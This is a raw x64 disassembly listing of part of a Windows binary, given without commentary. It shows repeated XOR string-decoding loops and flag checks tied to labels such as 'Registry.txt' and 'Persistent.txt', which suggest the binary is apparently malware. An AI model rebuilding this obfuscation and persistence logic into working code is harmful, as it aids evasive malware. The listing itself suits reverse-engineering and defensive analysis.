movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140040e81
jmp 0x140040fc0
lea r9, [rbp + 0x208]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140040f90
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140040fc4
lea r8, [rbp + 0x208]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140040fe0
movups xmm0, xmmword [0x1400db580]
movups xmmword [rbp + 0x48], xmm0
movsd xmm1, qword [0x1400db590]
movsd qword [rbp + 0x58], xmm1
mov eax, dword [0x1400db598]
mov dword [rbp + 0x60], eax
movzx eax, word [0x1400db59c]
mov word [rbp + 0x64], ax
movzx eax, byte [0x1400db59e]
mov byte [rbp + 0x66], al
mov r8d, ebx
cmp esi, 2
jl 0x140041177
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x4c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140041070
cmp r8d, 0x1f
jge 0x1400411c0
movsxd rax, r8d
lea r9, [rbp + 0x48]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140041190
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400411c4
lea r8, [rbp + 0x48]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400411e0
movups xmm0, xmmword [0x1400d94c8]
movups xmmword [rbp + 8], xmm0
movsd xmm1, qword [0x1400d94d8]
movsd qword [rbp + 0x18], xmm1
movzx eax, word [0x1400d94e0]
mov word [rbp + 0x20], ax
movzx eax, byte [0x1400d94e2]
mov byte [rbp + 0x22], al
mov r8d, ebx
cmp esi, 2
jl 0x140041368
movdqa xmm5, xmmword [0x1400e2800]
movdqa xmm4, xmmword [0x1400e2c70]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400e2830]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1400e2900]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e28c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140041261
cmp r8d, 0x1b
jge 0x1400413b0
movsxd rax, r8d
lea r9, [rbp + 8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140041380
lea rcx, [r15 - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400413b4
lea r8, [rbp + 8]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1400413d0
cmp byte [0x1400f004c], al
je 0x140041567
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, ntohl
lea rdx, str.Enabled.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x318], 0xb40a626d
movdqa xmm0, xmmword [0x1400e2d40]
movdqu xmmword [rbp + 0x31c], xmm0
mov dword [rbp + 0x32c], 0x616d65b
mov dword [rbp + 0x330], 0xcaef5f3f
mov dword [rbp + 0x334], 0xfc3762
mov r8d, 0xb40a626d
lea rdx, [rbp + 0x31c]
lea rcx, [rsp + 0x50]
call fcn.140044110
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x368], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x378], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], rbx
lea rax, [rbp + 0x36c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400414a0
lea rdx, [rbp + 0x36c]
lea rcx, [rbp + 0x340]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x340]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x140041511
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004150c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043fd5
call fcn.140067fe0
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], select
mov byte [rbp + 0x340], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140041567
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041562
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043fdc
call fcn.140067fe0
cmp byte [0x1400f19c6], 0
je 0x1400416ea
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, ntohl
lea rdx, str.Enabled.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x340], 0xb40a746d
movdqa xmm0, xmmword [0x1400e2da0]
movdqu xmmword [rbp + 0x344], xmm0
movdqa xmm1, xmmword [0x1400e2840]
movdqu xmmword [rbp + 0x354], xmm1
mov r8d, 0xb40a746d
lea rdx, [rbp + 0x344]
lea rcx, [rsp + 0x50]
call fcn.1400445e0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x368], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x378], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0x388], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x318], xmm0
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], rbx
lea rax, [rbp + 0x36c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140041623
lea rdx, [rbp + 0x36c]
lea rcx, [rbp + 0x318]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x318]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x330]
cmp rdx, 0x10
jb 0x140041694
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004168f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043fe3
call fcn.140067fe0
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], select
mov byte [rbp + 0x318], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400416ea
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400416e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043fea
call fcn.140067fe0
cmp byte [0x1400f19dc], 0
je 0x14004186d
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, ntohl
lea rdx, str.Enabled.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x340], 0xb40a7e6d
movdqa xmm0, xmmword [0x1400e2c80]
movdqu xmmword [rbp + 0x344], xmm0
movdqa xmm1, xmmword [0x1400e2c90]
movdqu xmmword [rbp + 0x354], xmm1
mov r8d, 0xb40a7e6d
lea rdx, [rbp + 0x344]
lea rcx, [rsp + 0x50]
call fcn.140044b10
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x368], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x378], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0x388], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x318], xmm0
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], rbx
lea rax, [rbp + 0x36c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400417a6
lea rdx, [rbp + 0x36c]
lea rcx, [rbp + 0x318]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x318]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x330]
cmp rdx, 0x10
jb 0x140041817
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041812
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043ff1
call fcn.140067fe0
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], select
mov byte [rbp + 0x318], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14004186d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041868
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043ff8
call fcn.140067fe0
cmp byte [0x1400f19c5], 0
je 0x1400419f7
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, ntohl
lea rdx, str.Enabled.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x340], 0xb40a406d
movdqa xmm0, xmmword [0x1400e2d00]
movdqu xmmword [rbp + 0x344], xmm0
movdqa xmm1, xmmword [0x1400e28a0]
movdqu xmmword [rbp + 0x354], xmm1
mov r8d, 0xb40a406d
lea rdx, [rbp + 0x344]
lea rcx, [rsp + 0x50]
call fcn.1400450d0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x368], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x378], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0x388], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x318], xmm0
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], rbx
lea rax, [rbp + 0x36c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140041930
lea rdx, [rbp + 0x36c]
lea rcx, [rbp + 0x318]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x318]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x330]
cmp rdx, 0x10
jb 0x1400419a1
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004199c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043fff
call fcn.140067fe0
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], select
mov byte [rbp + 0x318], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400419f7
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400419f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044006
call fcn.140067fe0
cmp byte [0x1400f19d8], 0
je 0x140041b87
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, ntohl
lea rdx, str.Enabled.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x318], 0xb40a4a6d
movdqa xmm0, xmmword [0x1400e2cf0]
movdqu xmmword [rbp + 0x31c], xmm0
mov dword [rbp + 0x32c], 0xb4f7f63b
mov dword [rbp + 0x330], 0x520c1db2
mov dword [rbp + 0x334], 0x718a
mov r8d, 0xb40a4a6d
lea rdx, [rbp + 0x31c]
lea rcx, [rsp + 0x50]
call fcn.140045630
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x368], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x378], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], rbx
lea rax, [rbp + 0x36c]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140041ac0
lea rdx, [rbp + 0x36c]
lea rcx, [rbp + 0x340]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x340]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x140041b31
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041b2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004400d
call fcn.140067fe0
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], select
mov byte [rbp + 0x340], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140041b87
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041b82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044014
call fcn.140067fe0
cmp byte [0x1400f19dd], 0
je 0x140041d17
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, ntohl
lea rdx, str.Enabled.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x318], 0xb40a5c6d
movdqa xmm0, xmmword [0x1400e2d10]
movdqu xmmword [rbp + 0x31c], xmm0
mov dword [rbp + 0x32c], 0x3c402cdc
mov dword [rbp + 0x330], 0xcb1595ca
mov dword [rbp + 0x334], 0x6b9b
mov r8d, 0xb40a5c6d
lea rdx, [rbp + 0x31c]
lea rcx, [rsp + 0x50]
call fcn.140045630
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x368], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x378], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], rbx
lea rax, [rbp + 0x36c]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140041c50
lea rdx, [rbp + 0x36c]
lea rcx, [rbp + 0x340]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x340]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x140041cc1
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041cbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004401b
call fcn.140067fe0
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], select
mov byte [rbp + 0x340], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140041d17
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041d12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044022
call fcn.140067fe0
cmp byte [0x1400f19c4], 0
je 0x140041ea7
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, ntohl
lea rdx, str.Enabled.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x318], 0xb40a266d
movdqa xmm0, xmmword [0x1400e28e0]
movdqu xmmword [rbp + 0x31c], xmm0
mov dword [rbp + 0x32c], 0x77a6267a
mov dword [rbp + 0x330], 0xe3098e7c
mov dword [rbp + 0x334], 0xc36b
mov r8d, 0xb40a266d
lea rdx, [rbp + 0x31c]
lea rcx, [rsp + 0x50]
call fcn.140045630
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x368], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x378], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], rbx
lea rax, [rbp + 0x36c]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140041de0
lea rdx, [rbp + 0x36c]
lea rcx, [rbp + 0x340]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x340]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x140041e51
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041e4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044029
call fcn.140067fe0
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], select
mov byte [rbp + 0x340], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140041ea7
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041ea2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044030
call fcn.140067fe0
cmp byte [0x1400f19c7], 0
je 0x140042037
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, ntohl
lea rdx, str.Enabled.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x318], 0xb40a286d
movdqa xmm0, xmmword [0x1400e2d50]
movdqu xmmword [rbp + 0x31c], xmm0
mov dword [rbp + 0x32c], 0x9271a3af
mov dword [rbp + 0x330], 0x8efefa88
mov dword [rbp + 0x334], 0xcafd79
mov r8d, 0xb40a286d
lea rdx, [rbp + 0x31c]
lea rcx, [rsp + 0x50]
call fcn.140044110
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x368], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x378], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], rbx
lea rax, [rbp + 0x36c]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140041f70
lea rdx, [rbp + 0x36c]
lea rcx, [rbp + 0x340]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x340]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x140041fe1
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140041fdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044037
call fcn.140067fe0
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], select
mov byte [rbp + 0x340], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140042037
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042032
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004403e
call fcn.140067fe0
cmp byte [0x1400f19db], 0
je 0x1400421c8
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, ntohl
lea rdx, str.Registry.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x368], 0xb40a326d
movdqa xmm0, xmmword [0x1400e2d70]
movdqu xmmword [rbp + 0x36c], xmm0
movdqa xmm1, xmmword [0x1400e2d30]
movdqu xmmword [rbp + 0x37c], xmm1
mov dword [rbp + 0x38c], 0x73ae
mov r8d, 0xb40a326d
lea rdx, [rbp + 0x36c]
lea rcx, [rsp + 0x50]
call fcn.140045ad0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x350], xmm1
movsd xmm0, qword [rax + 0x20]
movsd qword [rbp + 0x360], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x318], xmm1
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], rbx
lea rax, [rbp + 0x344]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140042101
lea rdx, [rbp + 0x344]
lea rcx, [rbp + 0x318]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x318]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x330]
cmp rdx, 0x10
jb 0x140042172
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004216d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044045
call fcn.140067fe0
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], select
mov byte [rbp + 0x318], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400421c8
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400421c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004404c
call fcn.140067fe0
cmp byte [0x1400f19d9], 0
je 0x140042359
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.Persistent.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x368], 0xb40a046d
movdqa xmm0, xmmword [0x1400e28f0]
movdqu xmmword [rbp + 0x36c], xmm0
movdqa xmm1, xmmword [0x1400e2d80]
movdqu xmmword [rbp + 0x37c], xmm1
mov dword [rbp + 0x38c], 0x4cf
mov r8d, 0xb40a046d
lea rdx, [rbp + 0x36c]
lea rcx, [rsp + 0x50]
call fcn.140045ad0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x350], xmm1
movsd xmm0, qword [rax + 0x20]
movsd qword [rbp + 0x360], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x318], xmm1
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], rbx
lea rax, [rbp + 0x344]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140042292
lea rdx, [rbp + 0x344]
lea rcx, [rbp + 0x318]
call fcn.140053790
nop
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x318]
call fcn.14003ede0
nop
mov rdx, qword [rbp + 0x330]
cmp rdx, 0x10
jb 0x140042303
inc rdx
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400422fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044053
call fcn.140067fe0
mov qword [rbp + 0x328], rbx
mov qword [rbp + 0x330], select
mov byte [rbp + 0x318], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140042359
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042354
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004405a
call fcn.140067fe0
cmp byte [0x1400f19da], 0
je 0x1400424ec
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov r8d, select
lea rdx, str.Thourough.txt
lea rcx, [rsp + 0x30]
call fcn.140053790
nop
mov dword [rbp + 0x368], 0xb40a0e6d
movdqa xmm0, xmmword [0x1400e2cb0]
movdqu xmmword [rbp + 0x36c], xmm0
movdqa xmm1, xmmword [0x1400e2ca0]
movdqu xmmword [rbp + 0x37c], xmm1
mov dword [rbp + 0x38c], 0x1083
mov r8d, 0xb40a0e6d
